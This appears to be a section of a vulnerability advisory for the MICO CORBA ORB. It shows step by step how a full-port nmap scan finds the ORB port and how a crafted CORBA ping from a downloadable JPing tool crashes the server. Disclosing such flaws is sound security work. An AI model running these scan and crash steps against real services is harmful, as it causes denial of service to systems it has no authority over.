== 8. Vulnerability Details ==
   The following is for educational purposes only!

   Start the orb, you'll crash # Example code
   -> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
       $ ./server
   scan your target...
       $ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 /
           | grep unknown
       8010/tcp  open  unknown
       49576/tcp open  unknown
       51140/tcp open  unknown

   One of these port could be the orb. Lets try to ping
   (object._non_exists()) the last one. For this I'm using a special
   handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo..
   My JPing is avaible at
       http://wwwstud.informatik.uni-rostock.de/~cb098/JPing.java
       $ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5
     orb.string_to_object             ... ok
     object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
     vmcid: SUN  minor code: 208 completed: Maybe

   The line above are indicating that there was something wrong. On
   every active port, you'll get COMM_FAILURE; but on the ORB-port
   OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec.
    (See http://www.omg.org)

   -- mico testserver crashed / output --
   A look into server terminal let us know, that there's sth. wrong.

   $ ./server
